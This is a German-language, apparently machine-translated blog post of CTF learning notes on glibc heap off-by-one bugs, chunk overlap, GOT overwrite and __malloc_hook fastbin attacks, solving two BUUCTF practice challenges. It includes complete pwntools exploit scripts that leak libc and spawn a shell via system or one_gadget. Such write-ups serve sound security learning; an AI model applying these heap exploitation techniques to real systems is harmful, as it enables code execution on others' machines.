Technologieaustausch

Über das Lernen nacheinander

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Die Grundlagen von pwn sind immer noch sehr oberflächlich. Ich zeichne nur einige meiner Lernerfahrungen auf.
Im Verlauf der Studie werden weitere Wissenspunkte und Fragen hinzugefügt.

Wissenspunkte

Ausgezeichnetes Lernmaterial

Zusammenfassung des Lernens über off von null |

Chunk-Erweiterung und Überlappung | ctfwiki

Ein wenig Verständnis

Eng verwandt mit Off-by-One ist die oben erwähnte Chunk Extend und Overlapping.
Dies wird oft als „überlappende Blöcke“ bezeichnet.
Warum überlappende Blöcke erstellen?
Wenn wir beispielsweise das Header-Feld eines Blocks, also die Segmente prev_size und size, neu schreiben möchten, können wir es definitiv nicht durch direkte Anwendung ändern.
Eine Idee besteht darin, einen falsch platzierten Chunk zu erstellen. Durch Ändern des Größenbits enthält der Benutzerdatenteil eines großen Chunks den Header des kleinen Chunks, den wir ändern möchten.

Beispiel

[buu] hitcontraining_heapcreator

Thema

Ich denke, diese Frage ist ein gutes Beispiel dafür, wie man Off-by-One verwendet. Die Fragen sind nicht sehr schwierig und die Einsatzmöglichkeiten recht clever.

Dekompilieren, um Lücken zu finden,
Bild
Hier gibt es ein künstliches Off-by-One, und hier kann ein weiteres Byte geschrieben werden.

Zurück zur Themenvergabe,Bild
Zuerst wird ein Block der Größe 0x10 zum Speichern einiger Informationen zugewiesen, und dann wird ein Block für den Inhalt zugewiesen.
Es wird sehr deutlich, wenn Sie sich das GDB-Debugging hier ansehen.

Zum Beispiel das Heap-Blocklayout, nachdem ich (0x28,'0'),add(0x10,'1') hinzugefügt habe.
Bild

Sie können sehen, dass wir jedes Mal, wenn wir etwas hinzufügen, zuerst einen Block mallocieren, der Heap-Blockinformationen an einer niedrigen Adresse speichert, und dann einen Block mallocieren, der Inhalte speichert.

Dann ist mir aufgefallen, dass die Vorgänge „Bearbeiten“ und „Anzeigen“ alle abgeschlossen sindInformationen zum Heap-BlockStruktur auf „indexieren“. Wenn wir dann libc auslaufen lassen möchten, können wir die Heap-Blockinformationen dieses Blocks einfügen *content Das Feld wird in die Adresse der got-Tabelle einer bestimmten Funktion geändert. Wenn in dieser Frage beispielsweise atoi verwendet wird, wird atoi_addr während der Anzeige ausgedruckt.

Dies beinhaltet eine ähnliche Situation im vorherigen „Kleinen Verständnis“. Wir können den Inhalt des Blocks, der „die Heap-Block-Informationen speichert“, nicht direkt ändern, sodass wir die Erweiterung des Heap-Blocks geschickter verwenden können .

Wenn wir es beispielsweise auf diese Weise ändern, kann dies tatsächlich zu einer Erweiterung und Überlappung der Heap-Blöcke führen.
Bild

Lassen Sie uns weiter unten über die konkrete Nutzung sprechen.

  1. Zuerst müssen wir einen Heap-Block „Speicher-Heap-Informationen“ ändernGrößeTeil.
    Dieser Schritt kann durch eine Off-by-One-Schwachstelle im Inhaltsstapel oberhalb dieses Informationsstapels erreicht werden.
  2. Dann geben wir den Index des Blocks frei, der diesem Informations-Heap-Block entspricht.
  3. Zu diesem Zeitpunkt gemäß der Implementierung von delete_heap
    Bild

Sowohl der Informations-Heap-Block als auch der Inhalts-Heap-Block sind frei, daher gibt es derzeit in den Fastbins zwei Bins der Größe 0x20 und 0x40.

Bild

  1. Zu diesem Zeitpunkt fügen wir einen 0x30-Block hinzu und der 0x40-Fastbin wird als Inhaltsstapelblock angewendet. Außerdem wird ein 0x20-Informationsstapelblock beantragt, sodass auch der 0x20-Bin angewendet wird.

Bild

  1. Der Kernpunkt dieser Frage ist FolgendesInformationsblock Größe und Inhalt des entsprechenden Chunks werden bestimmt! Daher kann der Inhalt des entsprechenden Informations-Heap-Blocks im vorherigen Schritt von add(0x30) überschrieben werden. Auf diese Weise kann der Inhalt in die got-Tabelle von atoi geändert werden, und show(1) kann libc auslaufen lassen.
  2. Da die Inhaltsadresse von chunk1 geändert wurde, kann edit(1) den Inhalt der got-Tabelle von atoi in „system“ ändern und dann „/bin/shx00“ an die Get-Shell senden.

Natürlich gibt es einige Details, wie die zuletzt erwähnte Größenauswahl von 0x18 und 0x28 und die Notwendigkeit, den Inhalt des Informationsstapels beim Ändern zu reservieren.GrößeFelder (andernfalls reicht die endgültige Bearbeitung nicht aus, um sie für Sie zu schreiben) und so weiter.

Erw.:

atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/shx00")


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

Es gibt tatsächlich noch einen weiteren wichtigen Punkt zu dieser Frage, und dieser Punkt war auch der Punkt, der mich zunächst verwirrte. Die anfängliche Chunk0-Hinzufügung von Master ZIKHs EXP ist 0x18. In meiner eigenen Praxis hat die Änderung auf 0x10 oder 0x20 nicht funktioniert, aber die Änderung auf 0x28 hat funktioniert.
Beim Debuggen wurde festgestellt, dass unsere Benutzerdaten bei einer Änderung auf 0x10, 0x20 den nächsten Block nicht aktivieren.vorherige_Größevon.
Bild

Bei der Zuweisung von 0x18, 0x28 usw. verwendet der ptmalloc2-Mechanismus das prev_size-Segment von next_chunk wieder.
Bild

emmm, letzten Endes kenne ich mich mit Heap immer noch nicht gut genug aus. Wenn man sich nur die Wiki-Erklärung ansieht, gibt es schließlich so viele Wissenspunkte und die Details sind kompliziert, was es schwierig macht, sich daran zu erinnern. Natürlich bin ich im tatsächlichen Kampf darauf gestoßen. Nachdem ich es selbst debuggt und wieder verstanden habe, wird es viel besser.

[buu] roarctf_2019_easy_pwn

Thema

Der Fehler in der Frage liegt hier.Bild

Wenn a2-a1==10 im if steht, das heißt, wenn die durch Bearbeiten eingegebene Größe genau 10 größer ist als die hinzugefügte Größe, liegt ein Off-by-One vor.

Ungefähre Allokationsstruktur
Bild

Oder verwenden Sie das BSS-Segment, um die Nutzung und Nutzung des Blocks zu speichern.*content

Wir können weiterhin Off-by-One in Kombination mit den Merkmalen der Größe 0x?8 verwenden, prev_size wiederverwenden, um prev_size zu fälschen, und size, um eine Vorwärtszusammenführung (niedrige Adresse) auszulösen
Bild

Zu diesem Zeitpunkt können Sie sehen, dass die Zusammenführung durch free(2) ausgelöst wird.
Bild

Wenn wir zu diesem Zeitpunkt (0x80) hinzufügen und dann (1) anzeigen, können wir tatsächlich den Wert von main_arena + 88 ausdrucken.
Bild

Mein Verständnis ist: Das Hinzufügen (0x80) dient hier dazu, den unsortierten Bin aufzuteilen, sodass der fd-Zeiger (main_arena + 88) auf das Segment chunk1 verschoben wird, das angezeigt werden kann.

Zu diesem Zeitpunkt ist die Basisadresse von libc durchgesickert.
Die folgenden Vorgänge scheinen viele überlappende Heap-Blöcke zu beinhalten, also werfen wir einen Blick auf das schrittweise Debuggen.
Heap-Layout beim Lecken von libc
Bild

add(0x68)
Bild
(Schneiden Sie ein Stück aus der unsortierten Tonne ab)

free(1)
(Fastbin 0x70)
Bild

edit(2,p64(malloc_hook-0x23))
(Hier machen wir uns die Tatsache zunutze, dass sich der im vorherigen Schritt beantragte Chunk2 von 0x68 mit dem gerade freigegebenen Chunk1 überschneidet (chunk1 wurde zu Beginn beantragt))
Bild

add(0x68)
(Bewerben Sie sich für Chunk1, es ist eigentlich Chunk2)
Bild

add(0x68)
(Anwenden, um den fake_chunk bei malloc_hook-0x23 zurückzugeben)
Bild

Dann müssen Sie Realloc verwenden, um den Stapelrahmen anzupassen, und Sie können die Shell erhalten.

Dann komme ich zwar lokal durch, aber nicht aus der Ferne.
Nachdem ich mir Master ZIKHs Exp angesehen habe, muss ich das Lokale verwenden
realloc = libcbase + libc.sym['realloc']Ändernrealloc = libcbase + 0x846c0
Dann müssen Sie den Wert von one_gadget ändern
Bild

Diese beiden one_gadgets haben einen Offset. Ich weiß im Moment nicht, warum. Vielleicht hat es etwas mit der Anpassung des Stapelrahmens zu tun. (Später erfahren)

Lokale Erfahrung spielen:

add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

lokal:
Bild

Aus der Ferne:
Bild


Zusammenfassend ist es schwierig.